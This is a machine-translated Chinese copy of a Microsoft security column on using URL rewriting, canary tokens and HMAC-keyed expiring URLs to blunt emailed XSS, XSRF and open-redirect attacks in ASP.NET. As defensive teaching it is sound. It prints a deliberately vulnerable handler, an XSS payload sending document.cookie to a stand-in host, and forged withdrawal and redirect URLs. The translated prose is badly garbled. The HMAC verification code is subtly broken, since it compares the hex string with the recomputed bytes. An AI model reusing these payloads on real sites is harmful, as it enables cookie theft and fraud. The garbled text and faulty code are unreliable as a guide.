本文章是由機器翻譯。

安全性簡介

保護您的網站使用的 URL 重新寫入

Bryan Sullivan

內容

檢閱問題
可能的解決方案: 個人化的資源定位器
較佳的解決方案: Canary URL
沒有狀態 (Stateless) 的方法: 自動到期的 URL
最後一個步驟
某些警告

Tim Berners-Lee 一次 famously 撰寫的 「 很酷的 URI 不變更 」。 他的意見會是中斷的超連結 erode 中的應用程式的使用者信心,並應該設計的 URI,如此一來他們可以維持不變的 200 年或多。雖然我知道他點,則我會就猜到,當他的陳述式他未設中超連結會變成一種駭客攻擊無辜使用者的方式。

透過電子郵件訊息中傳送惡意的超連結,會定期傳播像是跨網站指令碼 (XSS)、 跨站台要求偽造 (XSRF) 和開啟的重新導向網路釣魚的攻擊。(如果您熟悉這些攻擊,建議閱讀有關在它們,開啟 Web 應用程式安全性專案 (OWASP) Web.) 我們無法藉由經常變更我們 URL 減輕大部分的這些弱點的風險 — 不一次每 200 年,但一次每隔 10 分鐘。攻擊者就不再能夠利用電子郵件傳送 poisoned 的超連結,因為連結會中斷,而且無效時訊息到達其預定的受害者的大型的應用程式的弱點。與所有由於嚇若要 Sir Tim,而酷 」 的 URI 可能會無法變更,安全性的一定執行。

檢閱問題

我們到解決方案的詳細資料之前,讓我們來看看更接近問題。以下是容易 XSS 攻擊一些 ASP.NET 程式碼的一個非常簡單的範例:

protected void Page_Load(object sender, EventArgs e)
{
    // DO NOT USE - this is vulnerable code
    Response.Write("Welcome back, " + Request["username"]);
}

程式碼是受影響,因為頁面寫入使用者名稱參數從要求傳回回應沒有任何驗證或編碼方式。 攻擊者輕鬆地利用這個弱點的指令碼,例如插入到使用者名稱參數,製作一個 URL:

page.aspx?username=<script>document.location=   'http://contoso.com/'+document.cookie;</script>

現在,攻擊者只需要說服按一下連結上的受害者。 大型的電子郵件) 是一個有效的方式若要這麼做,一點的社交工程套用 (例如 「 按這裡來接收您可用的 Xbox 360 ! 」) 時,特別是。 可以建構類似惡意的 URL,並利用 XSRF 弱點的電子郵件:

checking.aspx?action=withdraw&amount=1000&destination=badguy
   and open-redirect vulnerabilities:
  page.aspx?redirect=http://evil.contoso.com

開啟-重新導向弱點是較不知名 XSS 與 XSRF。 它們會發生應用程式允許使用者在要求中指定任意的重新導向 URL 時。 這會導致使用者認為她按下連結時,會採取她 good.adatum.com,是網路釣魚攻擊,但實際上她將會被重新導向到 evil.contoso.com。

可能的解決方案: 個人化的資源定位器

重新寫入其 URL,以便它們為每個使用者個人化的應用程式的一個可能這個問題解決方案是 (或更但,每個使用者工作階段)。 例如,應用程式無法重新寫入為 contoso.com/{GUID}/page.aspx,其中 {GUID} 是隨機和唯一每個使用者工作階段的 URL) contoso.com/page.aspx。 有 2 的 128 個可能的 GUID 值,很 fantastically 不可能的攻擊者能夠因此可能他將無法製作和電子郵件的有效 (和 poisoned) 的 URL 猜出一個有效的一個。

ASP.NET 中已經有類似的功能內建做為其無 Cookie 工作階段處理功能的一部分。 因為某些使用者會無法或不接受 HTTP Cookie,就可以設定 ASP.NET 而儲存在 URL 的使用者的工作階段識別碼。 您可以啟用這個簡單的變更至 Web.config 檔案:

<sessionState cookieless="true" />

在進一步檢查但是,我們看到這個方法不真的降低任何我們擔心,像 XSS 的弱點。 攻擊者可能無法猜出有效的工作階段 GUID,但他實際上沒有到]。 他可以啟動自己的工作階段,取得一個有效的工作階段識別碼,並再引誘受害者電子郵件傳送 URL 使用的工作階段。

即使另一個使用者正在使用該工作階段,攻擊者會無法防止同時要使用它,並將竊取受害者的私人資料。 應用程式有判斷兩個不同的人使用相同的工作階段沒有正確方法 — 當然它無法請檢查傳入的 IP 地址中,但有許多案例,在其中,單一使用者的 IP 位址會變更合法的要求來要求,或者多個使用者共用在相同的 IP 位址。 這種攻擊會稱為是工作階段的 fixation 攻擊,,是為什麼使用無 Cookie 工作階段管理不通常建議的原因之一。

較佳的解決方案: Canary URL

我們可以大幅改善的個人化的 URL 的方法,藉由一個小的變更。 代替使用 URL 來儲存工作階段識別碼中,,我們在 Cookie 中以平常的方式儲存工作階段識別碼,並使用儲存在用戶端和伺服器之間共用一個秘密的 URL。 我們會修改 URL 重新寫入程式碼,以儲存每個工作階段,唯一和在工作階段狀態中,和做為 URL 的一部分的隨機值:

// create the shared secret
Guid secret = Guid.NewGuid();
Session["secret"] = secret;
// rewrite the URL to include the secret value
...

(實際上重新寫入 URL,並剖析傳入的值所需的程式碼已超出本文的範圍。 ASP.NET MVC 能針對此目的,] 及 [Scott Guthrie 會也有 有關 ASP.NET URL 重新寫入技術 blogged.)

在任何要求,我們會比較 GUID 儲存在一個儲存在工作階段狀態中的 URL 的值。 如果兩者不相符,或如果 GUID 遺失 URL,要求會視為惡意,請它被封鎖,並且原始 IP 位址會記錄。 這個共用的密碼防禦 (也稱為 canary 的防禦) 時間已建議的方法防止 XSRF 的攻擊,但您可以看到,它相當好的降低工作反映 XSS 弱點以及關閉電子郵件傳播向量剪。

請注意這不是完整的解決方案對 XSS 重要的。 最佳的方式,來防止 XSS 是藉由驗證輸入和編碼的輸出中解決問題的來源,但是 canaries 可以做為額外的防禦層中套用]。

沒有狀態 (Stateless) 的方法: 自動到期的 URL

它有一個弱點 canary URL 方法時很好的安全的方法: 它會依賴伺服器端工作階段狀態。 如果您有一個沒有狀態 (Stateless),應用程式 (例如 Web 服務] 或 [在 REST 應用程式,您可能不會想要啟用工作階段狀態,只的目的儲存 canary 的值。

萬一這些您可以完成您的整體目標 (防止攻擊者電子郵件傳送惡意的超連結),而不需要維護伺服器端工作階段狀態實作自動到期的 URL。 URL,短時間內的到期的時間它的要求之後 (10 分鐘或,) 會大幅減少之視窗的攻擊者在電子郵件的潛在受害者 URL] 但 [仍允許合法使用者足夠的時間使用資源的機會。

放在 URL 的到期日的一個方法是重新寫入 URL,包含像這樣,目前的時間戳記:

http://www.contoso.com/{timestamp}/page.aspx

每當使用者會發出資源的要求,則會將傳入的時間戳記在 URL 中檢查以查看是否是多於 10 分鐘舊 (或任何指定的時間臨界值是)。 如果是,要求已拒絕。 替代方法是寫入 URL 的所需的到期時間,並再檢查對目前的時間。 不過,這兩種方法,呈現都被錯誤的攻擊者可能很容易偽造 URL 會在未來有效的有些時候,因為:

http://www.contoso.com/{current timestamp + one hour}/page.aspx

如果您使用 URL 來保存到期時間戳記,而初始要求時間戳記的因為攻擊者現在可以在未來指定的任意遠方的點,並完全取消防禦,這個問題會變成更糟的是:

http://www.contoso.com/{current timestamp + ten years}/page.aspx

這個問題解決方案是以防止攻擊者竄改時間戳記,也在 URL 中包含時間戳記的金鑰的雜湊程式種類的資料索引鍵的雜湊訊息驗證碼 (HMAC) 中。 事實上,金鑰雜湊很重要: 沒有這,攻擊再次指定未來的時間戳記,它,計算雜湊值,取消您的防禦。 當您金鑰與私密金鑰的雜湊時,這是不可能。

MD5 時受歡迎的雜湊演算法它不再被視為安全性,加密的研究人員有示範會造成衝突和因此中斷演算法的方法。 較佳的選擇將是其中一個的 SHA-2 (安全雜湊演算法) 函式,例如 SHA-256,遭到不成功攻擊的撰寫。 SHA-256 是由 Microsoft.NET Framework 類別 System.Security.Cryptography.SHA256Cng、 SHA256Crypto­ServiceProvider SHA256Managed 和 HMACSHA256 實作的。

這些將運作,但是因為 HMACSHA256 類別套用秘密的金鑰值的內建功能,很最佳的選擇:

HMACSHA256 hmac = new HMACSHA256(); // use a random key value

使用預設的 HMACSHA256 建構函式,適用於雜湊應該足以讓安全性的隨機金鑰值,但這在因為每個 HMACSHA256 物件會有不同的金鑰,運作不會在伺服器伺服陣列環境中。 如果您部署在伺服器陣列中的應用程式,您需要明確的建構函式中指定金鑰,並確定是相同的伺服陣列中的所有伺服器。

下一步是將 URL 中寫入時間戳記,以及與金鑰雜湊。 為的實作] 細節請注意 [HMACSHA256.ComputeHash) 方法的輸出會是位元組陣列,但您必須將這轉換成合法的 URL 字串中,因為您將會寫入其外送的 URL]。 這項轉換是比起來一點技巧。 Base64 通常用來將任意的二進位資料轉換成字串的文字,但 base64 包含等號 (=) 和斜線 (/),將 ASP.NET 的造成剖析的問題,即使它們是經過 URL 編碼的字元。 而,您應該 1 個位元組的二進位資料一次轉換為十六進位的字串如 [圖 1 ] 所示。

[圖 1) 產生金鑰的時間戳記

private static string convertToHex(byte[] data)
{
    System.Text.StringBuilder sb = new System.Text.StringBuilder(data.Length);
    foreach (byte b in data)
        sb.AppendFormat("{0:X2}", (int)b);

    return sb.ToString();
}

private string generateKeyedTimestamp()
{
    long outgoingTicks = DateTime.Now.Ticks;

    // get a SHA2 hash value of the timestamp
    byte[] timestampHash = 
        this.hmac.ComputeHash(System.BitConverter.GetBytes(outgoingTicks));

    // return the current timestamp with the keyed hash value
    return outgoingTicks.ToString() + "-" + convertToHex(timestampHash);
}

最後,您必須確認連入時間戳記,recomputing 其雜湊,並確定它符合連入的雜湊。 程式碼如 [圖 2 ] 所示。

[圖 2 驗證傳入的時間戳記

private static byte[] convertFromHex(string data)
{
    // we know that the hex string must have an even number of digits
    if ((data.Length % 2) != 0)    
        throw new ArgumentException();
    byte[] dataHex = new byte[data.Length / 2];
    for (int i = 0; i < data.Length; i = i + 2)
    {
        string hexByte = data.Substring(i, 2);
        dataHex[i / 2] = (byte)Convert.ToByte(hexByte, 16);
    }

    return dataHex;
}

private bool verifyKeyedTimestamp(long incomingTicks, string incomingHmac)
{
    if (String.IsNullOrEmpty(incomingHmac))
        return false;

    byte[] incomingHmacBytes = convertFromHex(incomingHmac);

    // recompute the hash and verify that it matches the passed-in value
    byte[] recomputedHmac = 
        this.hmac.ComputeHash(BitConverter.GetBytes(incomingTicks));

    // perform byte-by-byte comparison on the arrays
    if (incomingHmac.Length != recomputedHmac.Length)
        return false;
    for (int i = 0; i < incomingHmac.Length; i++)
    {
        if (incomingHmac[i] != recomputedHmac[i])
            return false;
    }

    return true;
}

最後一個步驟

在最後的步驟是否使用 canary 方法或最自動到期的方法您需要指定做為 「 登陸頁 」 可以存取沒有特殊的 URL 語彙基元的應用程式中的一] 或 [多個網頁。 沒有這個,沒有人能使用您的應用程式,因為會有沒有方法的初始的有效要求。

有許多的方式,在其中您可以指定登陸頁面,從寫程式重新寫入模組碼中 (絕對不建議使用) 在 Web.config 中指定這些檔案 (好),但我慣用的方法是使用自訂屬性 (Attribute)。 使用自訂屬性 (Attribute) 減少程式碼,您需要撰寫,並也允許繼承的: 您也可以定義 LandingPage 類別,並將自訂屬性套用至該類別,和任何衍生自 LandingPage 的頁面就也會登陸頁面。

先定義新的自訂屬性 (Attribute) 類別,稱為 LandingPageAttribute。 這個類別實際上沒有包含任何方法或屬性。 您只需要能夠標記含有這個屬性的網頁,並能夠以程式設計方式判斷是否因此標記在頁面:

public class LandingPageAttribute : Attribute
{
}

現在將您想為使用 LandingPage 屬性如下登陸頁面所使用的任何頁面的標記:

[LandingPage()]
public partial class HomePage : System.Web.UI.Page 

最後,如果在您的 URL 驗證程式碼檢查所要求的處理常式是否具有自訂屬性。 如果您正在實作您的 URL 會重寫為 HttpModule 的程式碼,您可以使用程式碼 [圖 3 ] 中執行檢查。

[圖 3] 檢查自訂的 LandingPageAttribute

public class RewriteModule : IHttpModule
{
    public void Init(HttpApplication context)
    {
        context.PostMapRequestHandler += new 
            EventHandler(context_PostMapRequestHandler);
    }

    void context_PostMapRequestHandler(object sender, EventArgs e)
    {
        HttpApplication application = sender as HttpApplication;
        if ((application == null) || (application.Context == null))
            return;

        // get the current request handler
        IHttpHandler httpHandler = application.Context.CurrentHandler;
        if (httpHandler == null)
            return;

        // reflect into the handler type to look for a LandingPageAttribute
        Type handlerType = httpHandler.GetType();
        object[] landingPageAttributes =
            handlerType.GetCustomAttributes(typeof(LandingPageAttribute),
                true);

        // allow access if we found any
        bool allowAccess = (landingPageAttributes.Length > 0);
        ...
    }
}

請謹慎使用 LandingPage 屬性。不僅是在重新寫入 (因為攻擊者無法只移除 URL 的語彙基元),頁面的降落防禦無效,但一個單一的登陸頁面上的 XSS 弱點可能會危及網域上的每個頁面。攻擊者無法將一系列的 XMLHttpRequest 呼叫插入用戶端指令碼以程式設計方式判斷為有效的加] 或 [時間戳記,並重新導向他的攻擊,因此。

如果可能的話,判斷應用程式的單一登陸頁面,並立即重新導向至 URL 的重新寫入頁面後移除所有的查詢字串參數的頁面。例如,

http://www.contoso.com/landingpage.aspx?a=b&c=d

將會自動重新導向至

http://www.contoso.com/(token)/otherpage.aspx

某些警告

不用說 URL 重新寫入可能無法適用於所有的應用程式。 一個這種方法的負值的副作用會是雖然不再能夠惡意的超連結的電子郵件攻擊者合法使用者同樣無法從傳送有效的連結或甚至應用程式中的頁面的書籤。 任何標示為登陸頁面的頁面無法設為書籤,但如我之前所述,您需要使用登陸頁面時,則是非常謹慎]。 因此,如果您希望您的應用程式至書籤以外,[首頁] 頁面的頁面的使用者,URL 重新寫入不是可能的解決好方案。

此外,URL 重新寫入是快速又簡單的防禦機制,是就: 深度防禦。 它是的銀對 XSS 或任何其他攻擊。 自動逾期 URL 可以仍被存取自己的 Web 伺服器的攻擊者利用。 而非傳送惡意超連結,直接指向受影響的頁面,他可以傳送指向他自己的網站的超連結。 當他的網站會取得一個點擊,從其中一個 phished 的電子郵件時,它可以連絡登陸頁面取得有效的時間戳記,並接著將重新導向適當使用者在受影響的網站上。

URL 重新寫入會使攻擊者的工作更困難: 他現在必須說服使用者追蹤超連結至他的網站 (evil.contoso.com) 而不是一個受信任的其中一個 (www.msn.com),他也離開非常清楚的軌跡回到自己的法律遵循機關。 不過,這將可能是小至任何屬於 phished 的電子郵件,並將其身份識別的受害者的舒適的竊取的結果。 執行會使用 URL 重寫的額外的防禦性的措施,但是一定要確保位址的弱點,在問題的根目錄。

最後,我想請注意,檔案我在本文中所描述的技術應該不可被解釋為授權的 Microsoft 開發指引。 請儘量使用它們,但不採取它們為安全性開發生命週期 (SDL) 需求。 我們目前進行這個區域,持續進行的研究,我們會喜歡它以取得您的意見反應。 請盡情 SDL 的部落格 (在跟我連絡 blogs.msdn.com/sdl) 包含任何註解。

您問題或意見寄至 briefs@Microsoft.com.

Bryan Sullivan 會是 Microsoft 安全性開發生命週期小組,安全性計畫經理,他專長的 Web 應用程式安全性問題。 他的第一本書、 Ajax Security,在 12 月 2007 由 Addison-Wesley 發行。